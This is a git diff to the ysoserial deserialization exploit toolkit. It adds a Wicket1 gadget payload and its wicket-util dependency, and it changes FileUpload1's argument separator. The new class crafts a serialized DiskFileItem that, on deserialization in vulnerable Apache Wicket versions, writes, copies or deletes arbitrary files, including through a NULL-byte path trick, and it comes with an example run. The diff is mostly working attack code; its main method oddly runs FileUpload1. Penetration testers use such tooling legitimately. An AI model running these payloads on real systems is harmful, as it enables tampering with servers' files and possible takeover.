diff --git a/pom.xml b/pom.xml
index b216df0..d82c1f4 100644
--- a/pom.xml
+++ b/pom.xml
@@ -222,6 +222,11 @@
commons-fileupload
1.3
+
+ org.apache.wicket
+ wicket-util
+ 6.23.0
+
com.mchange
c3p0
diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java
index ef88c8e..33bbee2 100644
--- a/src/main/java/ysoserial/payloads/FileUpload1.java
+++ b/src/main/java/ysoserial/payloads/FileUpload1.java
@@ -22,11 +22,11 @@ import ysoserial.payloads.util.Reflections;
* DiskFileItem.readObject()
*
* Arguments:
- * - copyAndDelete:sourceFile:destDir
- * - write:destDir:ascii-data
- * - writeB64:destDir:base64-data
- * - writeOld:destFile:ascii-data
- * - writeOldB64:destFile:base64-data
+ * - copyAndDelete;sourceFile;destDir
+ * - write;destDir;ascii-data
+ * - writeB64;destDir;base64-data
+ * - writeOld;destFile;ascii-data
+ * - writeOldB64;destFile;base64-data
*
* Yields:
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
@@ -44,7 +44,7 @@ public class FileUpload1 implements ReleaseableObjectPayload {
public DiskFileItem getObject ( String command ) throws Exception {
- String[] parts = command.split(":");
+ String[] parts = command.split(";");
if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
return copyAndDelete(parts[ 1 ], parts[ 2 ]);
diff --git a/src/main/java/ysoserial/payloads/Wicket1.java b/src/main/java/ysoserial/payloads/Wicket1.java
new file mode 100644
index 0000000..4aa62c8
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/Wicket1.java
@@ -0,0 +1,111 @@
+package ysoserial.payloads;
+
+
+import java.io.File;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.Arrays;
+
+import org.apache.commons.codec.binary.Base64;
+import org.apache.wicket.util.upload.DiskFileItem;
+import org.apache.wicket.util.io.DeferredFileOutputStream;
+import org.apache.wicket.util.io.ThresholdingOutputStream;
+
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+
+/**
+ * This gadget is almost identical to FileUpload1 since it appears
+ * that Apache Wicket copied a version of Apache Commons DiskFileItem
+ * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That
+ * means that if the target is running less than Oracle Java 7 update 40
+ * then the NULL byte attack is viable. Otherwise, copy and move attacks
+ * always work.
+ *
+ * This attack is valid for the 1.x and 6.x lines of Apache Wicket but
+ * was fixed in 1.5.16 and 6.24.0 (released July 2016).
+ *
+ *
+ * Arguments:
+ * - copyAndDelete;sourceFile;destDir
+ * - write;destDir;ascii-data
+ * - writeB64;destDir;base64-data
+ * - writeOld;destFile;ascii-data
+ * - writeOldB64;destFile;base64-data
+ *
+ * Example:
+ * Wicket1 "write;/tmp;blue lobster"
+ *
+ * Result:
+ * $ ls -l /tmp/
+ * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
+ * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
+ * blue lobster
+ */
+@Dependencies({"wicket-util:wicket-util:6.23"})
+public class Wicket1 implements ReleaseableObjectPayload {
+
+ public DiskFileItem getObject(String command) throws Exception {
+
+ String[] parts = command.split(";");
+
+ if (parts.length != 3) {
+ throw new IllegalArgumentException("Bad command format.");
+ }
+
+ if ("copyAndDelete".equals(parts[0])) {
+ return copyAndDelete(parts[1], parts[2]);
+ }
+ else if ("write".equals(parts[0])) {
+ return write(parts[1], parts[2].getBytes("US-ASCII"));
+ }
+ else if ("writeB64".equals(parts[0]) ) {
+ return write(parts[1], Base64.decodeBase64(parts[2]));
+ }
+ else if ("writeOld".equals(parts[0]) ) {
+ return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII"));
+ }
+ else if ("writeOldB64".equals(parts[0]) ) {
+ return writeOldJRE(parts[1], Base64.decodeBase64(parts[2]));
+ }
+ throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
+ }
+
+ public void release(DiskFileItem obj) throws Exception {
+ }
+
+ private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
+ return makePayload(0, copyTo, copyAndDelete, new byte[1]);
+ }
+
+ // writes data to a random filename (update__.tmp)
+ private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
+ return makePayload(data.length + 1, dir, dir + "/whatever", data);
+ }
+
+ // writes data to an arbitrary file
+ private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception {
+ return makePayload(data.length + 1, file + "\0", file, data);
+ }
+
+ private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
+ // if thresh < written length, delete outputFile after copying to repository temp file
+ // otherwise write the contents to repository temp file
+ File repository = new File(repoPath);
+ DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null);
+ File outputFile = new File(filePath);
+ DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
+ OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
+ os.write(data);
+ Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
+ Reflections.setFieldValue(diskFileItem, "dfos", dfos);
+ Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
+ return diskFileItem;
+ }
+
+ public static void main ( final String[] args ) throws Exception {
+ PayloadRunner.run(FileUpload1.class, args);
+ }
+}
\ No newline at end of file